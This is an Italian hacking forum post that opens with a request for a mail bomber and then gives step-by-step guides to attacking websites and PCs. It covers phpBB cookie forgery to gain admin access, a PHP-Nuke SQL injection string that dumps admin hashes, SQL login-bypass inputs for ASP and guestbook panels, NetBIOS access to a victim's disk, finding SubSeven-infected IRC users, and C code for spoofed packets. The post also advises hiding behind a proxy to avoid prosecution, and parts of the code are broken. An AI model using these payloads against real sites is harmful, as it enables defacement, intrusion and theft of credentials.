Salve ragazzi faccio prima la piccola domanda :
Mi potete fornire un mail bomber FUNZIONANTE ?? GRAAAAAAAAZIE
Guide :
Defacciare un sito in phpbb (su certi forum funge su altri no...):
1)Andate su un motore di ricerca google o altavista(consiglio altavista perchè trova + pagine di google quindi pi๠possibilita di trovare un forum vulnerabile)quindi prendiamo in esempio altavista
2)Nella ricerca scrivete: Powered By Phpbb 1.0.12
3)Ora cercate un forum vi spiego un trukketto,vedete il link qll cn + probabilita di defacing sn qll ke nel link hanno ad es:
4)Andate in C
ocuments and SettingsUSERDati applicazioniMozillafirefoxLettereNumeri*(leggete in basso)
*=Dp firefox troverete una serie di lettere e numeri a random xco ogni cartella è diversa,ovviamente in qst esempio abbiamo preso in esame il BROWSER MOZILLA!
5)Una volta entrato nella cartella clikkate su COOKIE.TXT fate ALT+T e inserite nella ricerca il nome del sito ke volete defacciare xke in pratica qnd avete aperto il forum php per l'identificazione vi ha registrato i cookie!
6)Una volta trovato controllate se vi appare una stringa tipo qst:
phpbb2mysql_data se ce l'ha il forum puo essere vulnerabile,dipende tutto dal codice Guest ke troverete affianco,di solito è: a%3A07Bma puo essere anke diverso!
7)Una volta individuato il codice guest inserite al posto del codice questa
STRINGA:
a%3A27Bs%3A1122autologinid%22%3Bb%3A1%3A622userid%22%3A1222%227D
(Piccola parentesi,se al posto del codice GUEST troverete questa stringa,nn si fa niente,il forum nn è vulnerabile!)
8)Ora salvate i cookie(nn clikkate sulla [X] per uscire e fare salva xke mi è capitato d nn salvarmeli quindi FILE,SALVA)
9)Kiudete tt le pagine del browser ke avete,tutte quante altrimenti vi riportera i cookie cm erano prima!(Naltra parentesi nn fate aggiorna xke nn funziona xD)
10)Riaprite il forum e dovreste essere ADMIN!
P.S nn sempre vi mette admin anke se trovate la data e il codice guest nn significa niente!
Volevo darvi un consiglio,se nel caso entrate cm admin e x caso nn vi esce il pannello admin 2 sn i motivi:
1)L'admin per sicurezza ha creato 1 account admin senza possibilita di entrare nel pannello o qlk del genere
2)Il pannello è nascosto,cm mi è capitato gia!
Bene,prima di salutarvi voglio ricordarvi ke lo scopo del defacing nn è distruggere interi FORUM ma creare 1 sezione e inserire come l'admin possa risolvere questa falla e quindi proteggersi!
DEFACCIARE SITI IN PHPNUKE:
1)Andate sempre in un motore di ricerca(GOOGLE,o ALTAVISTA)
2)Cercate:
"Powered By PhpNuke"
(con le virgolette)
3)Andate nel sito e poi nella sezione Cerca oppure Cerca Nel Sito
4)Inserite questa stringa:
p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*
5)Vi dovrebbero uscire tutte scritte strane piene di numeri e lettere!Copiate qll fatto dall'admin e crakkate la password cn un programma x crakkare tipo,MD5 o Cain & Abel Disponibile nella sezione programmi!
6)Andate nel sito inserite User e Pass dell'admin e avrete accesso all'admin
Defacciare siti in ASP :
1)Andate sempre in un motore di ricerca(GOOGLE,o ALTAVISTA)
2)Cercare:
admin.asp
oppure:
login.asp
Accederete(nel 1caso) al pannello di login dell'admin!
Se invece troverete il 2caso è uguale!
Ora nel pannello di login inserite i seguenti dati:
CODICE
User : admin
Password : ' or '
Se nn funziona provate cn:
User: "OR"="
Password: "OR"="
Rispettate sia nel 1 ke nel 2 caso lettere maiuscole e minuscole e inserite TUTTO QUELLO CHE C'è VIRGOLETTE ECC!!
METTETE SEMPRE UN PROXY ALTRIMENTI VI SCOPRONO E POTRESTE RISCHIARE UNA DENUNCIA!!!!
HACKERARE I GUESTBOOK:
Per Hackerare i guestbook andare in GOOGLE e scrivere:
inurl:guestbook/admin/login.php
Alla schermata di login dell'admin del guestbook inserite questi dati:
USER: 'or 'jr7'='jr7' /*
PASSWORD: anything
ENTRARE IN UN HARD DISCK TRAMITE NETBIOS:
Prima di tutto l'ip della vittima deve avere la porta 139(ovvero netbios) APERTA!!
In questi esempi facciamo finta ke l'ip della vittima sia 1.2.3.4
Una volta ke avrete l'ip netbiossato fate questo:
1)Aprite il DOS* e scrivete cd c:windows(o dv avete la cartella windows c: d: ecc)
2)Scrivete Nbtstat -A IP vi usciranno diverse voci ad es:
NetBIOS Remote Machine Name Table Name TypeStatus
-------------------------------------------------------------
Gianluca.............<00> UNIQUE .............Registered
WORKGROUP.... . <00> UNIQUE........... . Registered
HALL9000............. <03> UNIQUE .............Registered
HALL9000 .............<20> UNIQUE .............Registered
WORKGROUP.... . <1E> UNIQUE............. Registered
3)Ora prendiamo il 1nome della lista e scriviamo nel DOS:Edit c:windowslmhosts
4)Una volta aperto l'edit inserite la seguente stringa:1.2.3.4GIANLUCA#PRE
Ricordate ke 1.2.3.4 è l'ip della vittima!
Il tag #PRE è fisso e va sempre messo, gli spazi sono fatti col TAB (non usate altro).
5)Salvate e uscite!
6)Riaprite il dos e scrivete cd c:windows
7)Scriviamo Nbtstat -R cn qst comando carikiamo lmhost
8)Vi dovrà uscire un messaggio!Se nn v esce avete sbagliato qlk!Nel mssg sta scritto qlk tipo cancellazzione nn so ke riuscita!
9)Una volta caricato lmhost scrivete Net View \Gianluca,vi usciranno tt la lista delle risorse condivise ad es:
CDisco
DDisco
EDisco
FDisco
GDisco
HPStampa
Esecuzione comando riuscita.
BINGO!!!!
10)Andate in RISORSE DI RETE e fate STRUMENTI-CONNETTI A UNITà RETE!
11)Assegnate una lettera al HARD DISK(b,e,f ecc)e inserite cm nome dell unità rete: \GianlucaC
abbiamo messo C sarebbe l'unita ke ha condiviso in qst caso il suo hard disk!
12)Fate OKe vi aprirà l'hard disk della vittima!!
Potrete usarlo cm 2 hard disk!Copiare cose incollare ecc!proprio cm se fosse il vostro
Bene!
Attenti a nn fa troppe cazzate
TROJAN HORSE:
Cos'è un trojan horse.
I trojan horse (cavalli di troia), o
semplicemente trojan, non sono esattamente virus, per cui se si usa un tool
antivirus difficilmente lo si individua.
Sono nati come strumenti atti a spiare
(violazione di privacy) e fondamentalmente rappresentano un mezzo per
controllare a distanza (controllo remoto) le risorse hardware e software di un
PC.
Con controllo remoto di un sistema si
intende che su tale PC sono effettuabili molte delle operazioni che possono
attuarsi direttamente davanti ad esso, ma a distanza.
Un trojan è costituito da due moduli
principali:
un programma server ed un programma client.
Il server è il programma di piccole
dimensioni che infetta un PC, cioè quando un PC è infetto da un trojan allora
significa che nel file system di quel PC è presente un programma trojan-server
installato che automaticamente si carica in memoria (vale a dire, si lancia in
esecuzione da solo).
Il client è invece il programma che usa il
"pirata" per controllare un PC quando questo è infetto da un trojan
(e solo in quest'ultima ipotesi).
Se un PC è infetto da un trojan, quando
questo viene connesso ad Internet, il server-trojan rimane nascosto (nel senso
che non ci si accorge che esiste, da cui il nome) e pronto per ricevere richieste
di connessione (e successivamente comandi) da parte di un qualunque PC in rete
che disponga di un programma trojan-client e che sia maneggiato da un qualunque
utente che non sia necessariamente un "pirata telematico".
I trojan sono molto diffusi, nel senso che
una gran percentuale dei nostri PC è infetta a nostra insaputa ed inoltre sono
di facile acquisizione nella grande rete sia i programmi che infettano che
quelli per il controllo di un PC infetto.
Solitamente vengono distribuiti insieme, sia il lato server che il lato client,
e per la maggiore sono programmi della categoria freeware.
Cosa succede se si ha il PC infetto da un
trojan e qualcuno si connette ad esso.
Praticamente puಠfar di tutto: dalla lettura di tutti i files personali sull'hard-disk
(tra cui la posta elettronica, le password,…), alla cancellazione di questi
(fino a distruggere tutto o parte del file system o comunque i files essenziali
per l'avvio di Windows e rendere così il PC inutilizzabile).
Puಠfare scherzi bizzarri (apertura dello
sportellino del CD-ROM, attivazione di suoni, scambio tasti del mouse, riavvio
del sistema,...).
Puಠascoltare ciಠche si digita dalla
tastiera, mentre si scrive una lettera o si dialoga in chat.
Come viene
infettato un PC da un trojan.
Il modo pi๠semplice per acquisire (nel
senso di infettarsi) un trojan è quello di scaricare un programma
apparentemente innocuo (un gioco, un'applicazione di qualunque tipo) dalla rete
che perಠdentro s੠nasconde anche un programmino trojan-server che si installa
nel PC a propria insaputa! Come succede per i virus, dopotutto.
Non basta perಠche tra questi files sia presente un trojan-server, ma bisogna
anche programmarlo in modo tale che questo si carichi in memoria all'avvio o
alla connessione del sistema della vittima, che sia fatto per via del registro
di configurazione o per via dei files di inizializzazione di Windows (alla
vecchia maniera!).
Come fare questo? Esistono programmi che
riescono ad integrare i contenuti di pachetti d'installazione comune con
programmi virus.
Come fa un "pirata" a sapere se
un PC è infetto da qualche trojan per connettersi ad esso.
Esistono programmi che effettuano la scansione delle porte di un IP (singolo
PC) o di un intervallo di domini IP (pi๠PC) per individuare su questi
l'esistenza di trojan-server pronti a ricevere comandi.
Questi programmi sono peraltro molto
diffusi e spesso sono inclusi direttamente nel programma di controllo di un
trojan (trojan lato client) e nei programmi di chat.
Esempio pratico
Ammettiamo che si voglia trovare in rete
una casuale vittima di un trojan SubSeven nella vs 2.1 (ALLO SCOPO DI AIUTARLO
AD ELIMINARE IL TROJAN CHE INFETTA IL SUO PC).
Procediamo perciಠper via indiretta, senza
sapere nulla a priori sul suo conto.
Le informazioni di cui necessitiamo in questo caso sono la consapevolezza che
su una macchina ci sia un SubSeven-server in ascolto sulla porta 27374 (porta
default per il trojan SubSeven) ed il suo indirizzo IP nella forma classica
xxx.yyy.zzz.www.
Innanzitutto conviene procurarci un programma di chat (IRC client) come
looksharp, costruito su mIRC.
Da qui, dopo aver impostato i soliti
parametri personali e quelli del nostro abituale server chat (ad esempio
irc.tin.it sulla porta 6667, conveniente se vogliamo accorciare i tempi di
individuazione dell'IP completo), passiamo ad impostare le funzioni di
scansione delle porte sulle macchine remote (in breve, in "General
Setup", alla scheda "XAPS", selezionare la casella
"ports" ed immettere manualmente "27374" nello spazio al
suo fianco, eliminando eventuali altre informazioni già presenti in tale
spazio).
Effettuiamo ora la connessione al server chat ed entriamo nei canali. La
scansione verrà effettuata automaticamente ed in modo trasparente a noi, che
nel frattempo chattiamo, sulle porte dei PC degli utenti presenti nei canali in
cui ci troviamo.
Appena rilevata una vittima del trojan SubSeven, apparirà una nuova finestrella
denominata "XAPS".
Da qui potremo leggere il suo nick ed il suo indirizzo IP. Se questo IP non è
nella forma xxx.yyy.zzz.www (tale puಠapparire in forma differente in
dipendenza dal provider server a cui tale utente è connesso) bisogna effettuare
la conversione nella forma voluta (selezionando il relativo nick nella lista
utenti di un canale in cui è presente e selezionando "DNS lookup" dal
men๠rapido che appare una volta cliccato esso con il tasto destro del mouse.
Dopo di cià², si potrà leggere e copiare il
suo IP nella forma voluta dalla finestrella "Status").
A questo punto potremo informare l'utente direttamente dalla chat che è infetto
dal trojan SubSeven e quindi domandargli il PERMESSO di accedere al suo sistema
per aiutarlo a rimuovere esso. Se concesso tale, si potrà aprire il
SubSeven-client, immettere l'IP trovato e impostare il numero di porta "27374".
Cliccato su "connect", potrebbe essere richiesta una password, nel
qual caso potremo rispondere con "cancel".
La connessione potrebbe essere ora attiva.
Nel men๠del SubSeven, selezioniamo "connection", andiamo alla
sezione "server option" e clicchiamo su "remove server".
Dopo una conferma di esecuzione dell'operazione avremo portato a termine la
nostra buona azione!
I protocolli TCP/IP e le porte.
I sistemi connessi ad Internet comunicano
tra di loro utilizzando delle regole; queste regole sono racchiuse e definite
nel protocollo TCP/IP, o meglio, nel pacchetto di protocolli TCP/IP.
In base a tale protocollo, affinchà© un PC
si possa connettere ad un altro PC (o sistema informatico, in generale) è
necessario che esso conosca l'indirizzo IP (es. 62.120.184.7) della macchina
remota e la porta sulla quale essa è in ascolto (cioè pronta ad accettare
comandi).
Per quanto definito nel protocollo TCP/IP,
ogni sistema dispone di all'incirca 65.000 porte (numerate da 0 a 65.000); per vederla in
analogia ai sistemi radiofonici, una porta è comparabile alla frequenza di un
canale sulla quale ci si deve sintonizzare per ascoltare una specifica
emittente.
Un centinaio di queste porte sono riservate
(vale a dire, già assegnate dal protocollo TCP/IP a programmi e comandi), le
altre tutte libere e disponibili.
I trojan horse.
I trojan noti sono centinaia, ma tutti con
le stesse caratteristiche.
Ognuno di essi è costituito dalla coppia di
programmi client-server.
Quando un PC è infetto da un trojan, allora
significa che tra i files del suo hard-disk è presente una copia di programma
trojan-server.
Questo programma va in esecuzione quando si
avvia il PC ed inizia ad operare (e diventare una minaccia) alla connessione
del PC in rete.
A questo punto il trojan-server resta in
ascolto sulla porta per cui è stato programmato nell'attesa di ricevere
comandi.
Solitamente i trojan operano su porte
predefinite (es. il trojan NetBus1.x sulla porta 12345/12346, il trojan
NetBusPro sulla porta 20034, il trojan SubSeven sulla porta 27374,...) ma
questa non è una regola.
Un trojan-server puಠanche essere protetto
da una password, questo per permettere l'accesso ed il controllo di un PC
infetto in maniera limitata e non da parte di un qualunque "hacker"
alla ricerca casuale di prede.
La connessione ad un PC infetto puà²
avvenire solo utilizzando il rispettivo programma client (ad esempio, se un PC
è infetto dal trojan SubSeven, occorrerà utilizzare il SubSeven-client per
potersi connettere e controllare tale PC).
Come ci si accorge
se il proprio sistema è infetto da un trojan.
Un primo metodo per individuare un trojan
nel proprio sistema è quello di utilizzare dei semplici programmi che
monitorano le porte del PC quando questo è connesso ad Internet.
Questi programmi sono solo informativi, cioè elencano le diverse porte in
ascolto o attive in un dato istante e da qui bisogna individuare se tra queste
ce ne sia qualcuna sospetta: non è sempre molto semplice capire dal solo numero
di porta se esiste un trojan nel proprio sistema. (NukeNabber)
Un secondo metodo è quello di utilizzare
programmi simili ma attivi, cioè capaci di individuare in maniera automatica
richieste di connessione sospette. (CheckBO)
Un metodo pi๠affidabile è quello di
utilizzare un firewall locale che controlla l'intero flusso di comunicazione
da/verso la rete e garantisce un grado di sicurezza molto elevato non solo nei
riguardi dei trojan. (ZoneAlarm)
Come si elimina un trojan dal proprio sistema.
Esistono programmi anti-trojan, simili nel comportamento
agli anti-virus. Questi possono scandire l'intero hard-disk o parte di esso
alla ricerca di trojan-server istallati in un PC e comprendono anche task
residenti in memoria per individuare in tempo reale l'insinuarsi di un trojan
nel PC.
Una volta eliminati tutti gli eventuali trojans presenti
sul proprio PC non ci sarà pi๠nessun rischio che qualcuno si possa connettere
al nostro PC e non sarà allora pi๠necessario monitorare le porte. (BackWork)
E' anche possibile rimuovere un trojan a
distanza: dopo che si è individuata una vittima e ci si è connessi utilizzando
un trojan-client, questo programma dispone di solito anche di comandi per
eliminare a distanza il trojan-server che infetta il sistema remoto.
Il Famoso attacco sfruttando l'IP Spoofing:
Il
protocollo TCP/IP, dalla sua comparsa ad oggi, e' stato analizzato dal
punto di vista della sicurezza, delle performance, dell'ottimizzazione
e degli stati indefiniti in maniera molto profonda. Nel corso del tempo
varie vulnerabilita' sono state scoperte, sia nel protocollo in se',
che nelle varie implementazioni disponibili (ossia gli stack TCP/IP dei
sistemi operativi). Tuttavia, una implementazione ben pensata del
TCP/IP, e' ancora in grado di fornire buoni livelli di sicurezza nel
caso in cui siano state prese tutte le precauzioni necessarie.
****L'IP spoofing attack*****
Per
chi si avvicina al mondo della sicurezza, l'attacco conosciuto come "IP
spoofing" e' spesso fonte di confusione. L'equivoco sta nel fatto che
col termine "IP spoofing" si indicano due attacchi distinti: il primo
consiste nello spedire dei pacchetti IP aventi l'indirizzo sorgente
contraffatto, l'altro nell'utilizzo del primo attacco per costruirne
uno piu' complesso, conosciuto come "blind spoofing", ovvero spoofing
alla cieca. Qui vedremo in dettaglio il primo dei due attacchi.
L'IP spoofing e' una tecnica che consiste nell'inviare dei pacchetti
opportunamente
'modificati' per far credere al destinatario, che gli stessi arrivino
da tutt'altra parte e, quindi, per rendersi 'anonimi' (o meglio
spacciarsi per qualcun altro) agli occhi della "vittima". Questo si
ottiene modificando l'indirizzo IP sorgente(source IP) nell' header
(intestazione) del pacchetto (datagramma IP). L'IP spoofing viene
utilizzato per molti attacchi sia di tipo D.o.S. (Denial of Service,
attacchi che possono mettere fuori uso, bloccare o rallentare il
sistema momentaneamente... fastidioso ma non provoca danni gravi), sia
per il tipico Hacking (attacchi molto piu' interessanti che possono
permettere di guadagnare particolari accessi nei sistemi) e utilizzato
sia in modo diretto (attaccando cioe' direttamente il sistema che
riceve i pacchetti spoofati), sia in modo indiretto (sfruttando cioe'
le risposte che la macchina destinataria dello spoof invia al presunto
mittente). Gli attacchi D.o.S. che si possono realizzare cmq sono
molti: dai vari flood (syn flood, rst flood) al click, al boink ecc.
Oppure, se proprio si vuole avere la comunicazione bilaterale, si
potrebbe tentare di instaurarla alla ceca, cercando di prevedere le
varie risposte della vittima ai nostri pacchetti, e rispondendo a
nostra volta in modo adeguato (assicurandoci pero' che l'IP da noi
spoofato sia in quel momento irraggiungibile e non possa quindi
rispondere anche lui alla vittima (che, sta inviando pacchetti
all'indirizzo da noi spoofato).
Uno schemino chiaro che riassume
l'IP spoofing (e si trova su praticamente tutti i documenti che
trattano IP spoofing), e' all'incirca questo:
host A <---------------->X<--------------> host B
|
host S ---------------->/
in
cui: noi siamo host S, il bersaglio del nostro attacco e' host B e il e
l'indirizzo sorgente che metteremo nell'header dei pacchetti al posto
del nostro, corrisponde al'indirizzo di host A. Come si puo' realizzare
lo spoofing? Be' per farvi un idea, un programma che lo realizza e che
probabilmente avrete utilizzato qualche volta e' il famoso Click della
7th sphere... che fa esattamente questo: Ipotizziamo un tipico attacco
D.o.S. da lamer in IRC. Secondo lo schemino che c'e' li sopra: se noi
siamo host S e vogliamo disconnettere host B dal server IRC host A (un
server a caso irc.tin.it hihihi) che facciamo? Impostiamo il Click con
i giusti dati e scegliamo tra il modo client side oppure server side,
quindi lanciamo l'attacco. Mettiamo di aver scelto l'attacco client
side....
Succede che il Click comincia a mandare a host B
pacchetti ICMP spoofati aventi come indirizzo sorgente host A (server
IRC) e come contenuto una frase del tipo "Sono Esploso!!". ("host
unreachable") Host B (vittima) a questo punto riceve questa
'lettera/pacchetto' proveniente da Host A (server IRC), legge il
messaggio e realizza che host A (server IRC) e' esploso .. quindi
pensa: "che cavolo ci rimango connesso a fare a un indirizzo di server
che non c'e' piu' perche' e' esploso?" a questo punto si disconnette.
L'attacco e' realizzato, host B e' disconnesso da IRC. Nel caso
avessimo scelto il modo di attacco server side, il procedimento e'
uguale ma i pacchetti vengono mandati a host A (server IRC) e
provenienti da host B (vittima), quindi e' il server IRC che scollega
host B credendolo 'esploso'. Questo e' solo un esempio di attacco. In
effetti, sfruttare appieno l'IP spoofing (anche per cercare di far
qualcosa
in piu' dei tipici D.o.S.), significa soprattutto potersi
costruire i pacchetti da inviare, su misura.. a seconda del tipo di
attacco che vogliamo realizzare. Questo risulta piu' facile da ottenere
ad esempio su sistemi Linux che su Winzozz 9x, pero' per questi ultimi
potreste utilizzare programmi appositi (ad esempio exploit generator)
che funzionano abbastanza bene.
Come si fa a mandare un pacchetto spoofato?
Beh,
ci sono modi e modi. Da Unix & Company e' molto facile: basta
creare un socket RAW (un socket *molto* grezzo) e lavorarlo mettendoci
sopra degli header IP e TCP (ma anche UDP o ICMP) non standard, cioe'
come quelli che si trovano nelle librerie net*. Infatti, nel nostro
header IP dovremmo mettere anche l'ip del mittente, cosa che invece con
le normali funzioni di sending viene automaticamente fatta dal
protocollo usato.
In principio si crea un bell'header ip tipo:
struct ipheader {
unsigned char verlen, tos; //versione+lunghezza header, tipo
unsigned short lenght, identification, flageoffset; //lunghezza, id, flags+offset
unsigned char ttl, protocol; //time to live, protocollo utilizzato
unsigned long int source, destination; //indirizzo ip sorgente, destinazione
};
ecco, bello vero?
Se esaminate attentamente vedrete:
* un char (8 bit) che include sia la versione ip che la lunghezza dello
header (contenitori a 4 bit non li so trovare io in c...)
* un char (8 bit) per il tipo di servizio (TOS)
* uno short (16 bit) per la lunghezza, uno per l'identificazione e uno
che include i 3 bit dei flag e i 13 del fragment offset
* un altro char per il time to live, ovvero su quanti server pu• passare prima di fermarsi
* un altro char che identifica il protocollo
* due long (32 bit) che identificano l'ip sorgente e quello di destinazione
Per agevolarci ora creeremo uno pseudo ip header:
struct pseudoipheader {
unsigned long int source, destination;
char byte_zero, protocol;
unsigned short TCP_UDP_lenght;
};
qui abbiamo l'ip sorgente, destinazione, il byte zero, il protocollo
utilizzato e la lunghezza del tcp o dell'udp.
Ora veniamo ai protocolli TCP e UDP:
struct tcpheader {
unsigned short source, destination;
unsigned long int seq, ack;
unsigned short offset_flags, window, checksum, urgent;
};
da
notare che i source e i destination sono non degli indirizzi, ma delle
porte (short a 16 bit), qui dovete mettere la porta sorgente e quella
destinazione, insomma. Poi c'e' il SEQ e l'ACK, interi a 32 bit, e
infine abbiamo l'header lenght + reserved + flags, window, il checksum
e l'urgent pointer. Ecco qui anche quello dell'udp, giusto per
facilitarvi la vita
struct udpheader {
unsigned short source, destination, lenght, checksum;
}
Tutto chiaro no? E per finire si crea uno struct di scambio di dati spoofati, anche questo per facilitarci la vita...
struct spdataexchange {
int fd;
char *data;
int datalen;
char *source;
unsigned short sourceport;
char *destination;
unsigned short destinationport;
unsigned long seq, ack;
unsigned short flags;
char *buffer;
int ip_optlen, tcp_optlen;
}
In
questo struct copieremo i dati ip e tcp e tutto il resto, per poi
scriverlo sul pacchetto da inviare... Ora, come facciamo ad inviare un
pacchetto??? Creeremo una funzione detta sendsppacket:
void sendsppacket(struc spdataexchange *sp, unsigned char protcollo)
{
int sp_status;
struct sockaddr_in *sp_serv;
struct hostent *sp_help;
int HEADER_BASE;
bzero((char *)&sp_serv, sizeof(struct sockaddr));
sp_serv.sin_family = AF_INET;
sp_serv.sin_addr.s_addr = inet_addr(sp->destination);
if(sp_serv.sin_addr.s_addr==(unsigned int)-1)
{
if(!(sp_help=gethostbyname(sp->destination)))
fprintf(stderr,"unknown host %sn",sp->destination), exit(1);
bcopy(sp_help->h_addr,(caddr_t)&sp_serv.sin_addr,sp_help->h_lenght);
}
switch(protocollo)
{
case TCP: HEADER_BASE = TCP_HEADER_BASE; break; //Spiego sotto questi passaggi
case UDP: HEADER_BASE = UDP_HEADER_BASE; break;
case default: exit(1); break;
}
sp_status = sendto(sp->fd, (char *)sp->buffer, sp->datalen+HEADER_BASE+
IP_HEADER_BASE+sp->ip_optlen, 0, (struct sockaddr *)&sp_serv,
sizeof(struct sockaddr));
if((sp_status < 0) || (sp_status!=sp->datalen+HEADER_BASE+IP_HEADER_BASE+sp->ip_optlen))
{
if(sp_status < 0)
perror("sendto()n"), exit(1);
printf("Trasmessi soltanto %d bytes di %dn", sp_stat, sp->datalen+HEADER_BASE+IP_HEADER_BASE+sp->ip_optlen);
}
}
Bene,
con questa funzione mandiamo i pacchetti che abbiamo creato... Dopo i
procedimenti di routine si tenta di risolvere l'host di destinazione,
se non si riesce si esce (splendido gioco di parole...), se invece
l'host esiste si copia nel "sp_serv.sin_addr". Poi si vede il
protocollo: TCP e UDP ve li definite prima con #define (TCP 6 e UDP
17), se e' tcp l'header_base sara' ovviamente la lunghezza della
dimensione minima dell'header tcp(20), se e' udp
quella dell'udp (8)
e se e' altro esce, l'ip e' 20. Poi si manda il pacchetto spoofato
realizzato prima, e si vede se il risultato e' positivo o meno, quanti
bytes sono stati inviati, eccetera. La lunghezza naturalmente e' la
lunghezza dei dati+l'HEADER_BASE definito prima+la lunghezza
dell'header ip (20) + la lunghezza delle opzioni ip. 500 righe! Uff!
Che fatica... Dovremmo esserci... Per fixare i vostri header IP e TCP,
ci sono due pratiche(ALLA FACCIA!) funzioni:
void sp_fix_IP_packet(struct spdataexchange *sp, unsigned char protocollo)
{
struct ipheader *sp_help_ip;
int HEADER_BASE;
switch(protocollo)
{
case TCP: HEADER_BASE = TCP_HEADER_BASE; break;
case UDP: HEADER_BASE = UDP_HEADER_BASE; break;
case default: exit(1); break;
}
sp_help_ip = (struct ipheader *)sp->buffer;
sp_help_ip->verlen = (IP_VERSION << 4) | (IP_HEADER_BASE+sp->ip_optlen+sp->tcp_optlen);
sp_help_ip->tos = 0;
sp_help_ip->lenght = htons(IP_HEADER_BASE+HEADER_BASE+sp->ip_optlen+sp->tcp_optlen+sp->datalen);
sp_help_ip->ID = htons(12545);
sp_help_ip->flageoffset=0;
sp_help_ip->ttl = 69; //miseria! Non deve morire prima del previsto...
sp_help_ip->protocol = protocollo;
sp_help_ip->source = sp_getaddrbyname(sp->source);
sp_help_ip->destination = sp_getaddrbyname(sp->destination);
sp_help_ip->checksum = in_cksum((unsigned short *) (sp->buffer),
IP_HEADER_BASE+sp->ip_optlen);
}
Questa
e' per l'ip... e' molto intuitiva, e' inutile che ve la spieghi.
Attenzione, la funzione sp_getaddrbyname(char *) non ve la scrivo, ve
la spiego brevemente: usate un HOSTENT, nel caso in cui l'host debba
andare risolto. Se l'host e' gia' numerico, si verifica l'esistenza e
si ritorna il valore long della medesima. Se invece non e' numerico,
tentiamo di risolverlo e se ci riusciamo si puo' benissimo ritornare il
valore long dell'host, altrimenti si da come risultato 0. Per fixare
l'header TCP:
void sp_fix_TCP_packet(struct spdataexchange *sp)
{
char *pseudo_ip_construct[1500];
struct tcpheader *sp_help_tcp;
struct pseudoipheader *sp_help_pseudo_ip;
int i;
for(i=0;i<1500;i++)
pseudo_ip_construct=0;
sp_help_tcp = (struct tcpheader *) (sp->buffer+IP_HEADER_BASE+sp->ip_optlen);
sp_help_pseudo_ip = (struct pseudoipheader *) pseudo_ip_construct;
sp_help_tcp->offset_flags = htons((((TCP_HEADER_BASE+sp->tcp_optlen)/4)<<12) | sp->flags);
sp_help_tcp->seq = sp->seq;
sp_help_tcp->ack = sp->ack;
sp_help_tcp->source = htons(sp->sourceport);
sp_help_tcp->destination = htons(sp->destinationport);
sp_help_tcp->window = htons(0x7c00);
sp_help_pseudo_ip->source = sp_getaddrbyname(sp->source);
sp_help_pseudo_ip->destination = sp_getaddrbyname(sp->destination);
sp_help_pseudo_ip->zero_byte = 0;
sp_help_pseudo_ip->protocol = TCP;
sp_help_pseudo_ip->TCP_UDP_lenght = htons(sp->datalen+TCP_HEADER_BASE+sp->tcp_optlen);
memcpy(pseudo_ip_construct+12,sp_help_tcp,sp->datalen+TCP_HEADER_BASE+sp->optlen);
sp_help_tcp->checksum = in_cksum((unsigned short *)pseudo_ip_construct,
sp->datalen+12+TCP_HEADER_BASE+sp->tcp_optlen);
}
Ecco
qua! Ultimo appunto: la in_cksum e' una funzione che potete trovare
dappertutto, anche sul ping.c o su uno dei vari nuker... Non mi dilungo
anche sull'UDP (ma questa e' discriminazione razziale!), anche
perche'‚ se conoscete bene il C (spero, altrimenti che avete fatto,
avete letto fin qua senza capire un c***o???) e' molto intuitiva da
realizzare... Se rimanete nel dubbio, pero', leggetevi i sorgenti di
spoofit.h, una libreria che mi ha ispirato non poco. Non ricordo il
nome dell'autore, un attimo... Ah, si: Bretch Claerhout.
NOTICINA:
se non vi va di scrivervi gli header ip, tcp e/o udp a da soli, li
potete semplicemente aggiungere queste righe all'inizio del codice
#include //contiene lo struct per lo header ip
#include //contiene quello per il tcp
#include //e quello per l'udp
ma se ve l'avessi detto prima avreste potuto comprendere come e' formato un header ip???
I
pacchetti IP (il protocollo che si occupa della consegna dei
datagrammi) possiedono un campo che contiene l'indirizzo sorgente ed
uno che contiente l'indirizzo di destinazione. Ai fini del routing solo
il secondo dei due indirizzi ha importanza. E' per questo motivo che in
condizioni normali (mancanza di ACL) e' possibile spedire dei pacchetti
IP che "sembrano" provenire da un qualunque IP. In altre parole, in
mancanza di un protocollo di livello superiore che autentica la
sorgente dei pacchetti IP, e' impossibile essere certi del fatto che
l'indirizzo sorgente appartenga effettivamente all'host che li ha
spediti. Immaginate un servizio di rete che utilizza il protocollo UDP
per eseguire operazioni sul server su cui gira, ad esempio lo shutdown
della macchina. Questo fantomatico ed insicuro protocollo (che e'
assolutamente di mia fantasia, ma esempi simili si possono trovare in
applicazioni reali) aspetta un pacchetto UDP contenente il comando
"SHUTDOWN" da un particolare indirizzo, ammettiamo 1.2.3.4: tutti i
pacchetti provenienti da altri indirizzi vengono scartati. Se non fosse
possibile praticare l'IP spoofing solo l'host 1.2.3.4 sarebbe in grado
di eseguire lo shutdown su quel server, di fatto invece chiunque puo'
spedire un pacchetto come quello mostrato sotto.
---------------------------
| (INTESTAZIONE IP) |
| --------- ----------- |
| |1.2.3.4| - |IP SERVER| |
| --------- ----------- |
| |
|...RESTANTE IP HEADER... |
| |
| SHUTDOWN |
---------------------------
L'esempio,
anche se di pura fantasia, mostra chiaramente che affidarsi ad una
"trusted-relationship" che si basa sull'indirizzo IP, nel caso di
protocolli non connessi, non e' affatto una buona idea. Quale sarebbe
il modo corretto di disegnare il nostro shutdown-protocoll? Una delle
possibilita' e' quella di cambiare il protocollo in modo che il server,
invece di eseguire direttamente il comando, aspetti un pacchetto UDP
contenente la stringa "AUTH". Se il pacchetto non proviene da uno degli
IP autorizzati non si cura la della richiesta, alrimenti spedisce un
pacchetto che contiene un numero pseudo-casuale al client e si mette in
attesa di un comando. Il client dovra' rispondere con un pacchetto
formato dal numero casuale che ha ricevuto dal server seguito dal
comando, ad esempio "2390-SHUTDOWN". Questo protocollo ci salva dall'IP
spoofing (nel caso in cui l'attacker non e' posto fisicamente tra il
server ed il client, altrimenti ha la possibilita' di leggere il numero
randomico e costruire il pacchetto con il comando), ma devono essere
prese opportune precauzioni; il generatore dei numeri pseudocasuali
deve essere "cryptographycally secure", ovvero possedendo una serie di
output R1, R2, R3, RN, l'attacher non deve essere in grado di predire
gli elementi successivi della sequenza (la funzione rand(3) della libc
non e' un generatore sicuro, e' un generatore lineare congruenziale
facilmente predicibile). La seconda condizione e' che il numero pseudo
casuale sia abbastanza grande da non permettere all'attacher di montare
un attacco di forza bruta in un tempo ragionevole. Come gia' detto,
questo protocollo ipotizza che l'attacker, anche se non in grado di
spedire pacchetti provenienti dall'indirizzo (ad esempio) 1.2.3.4, non
sia in grado di intercettare le risposte che sono dirette all'host
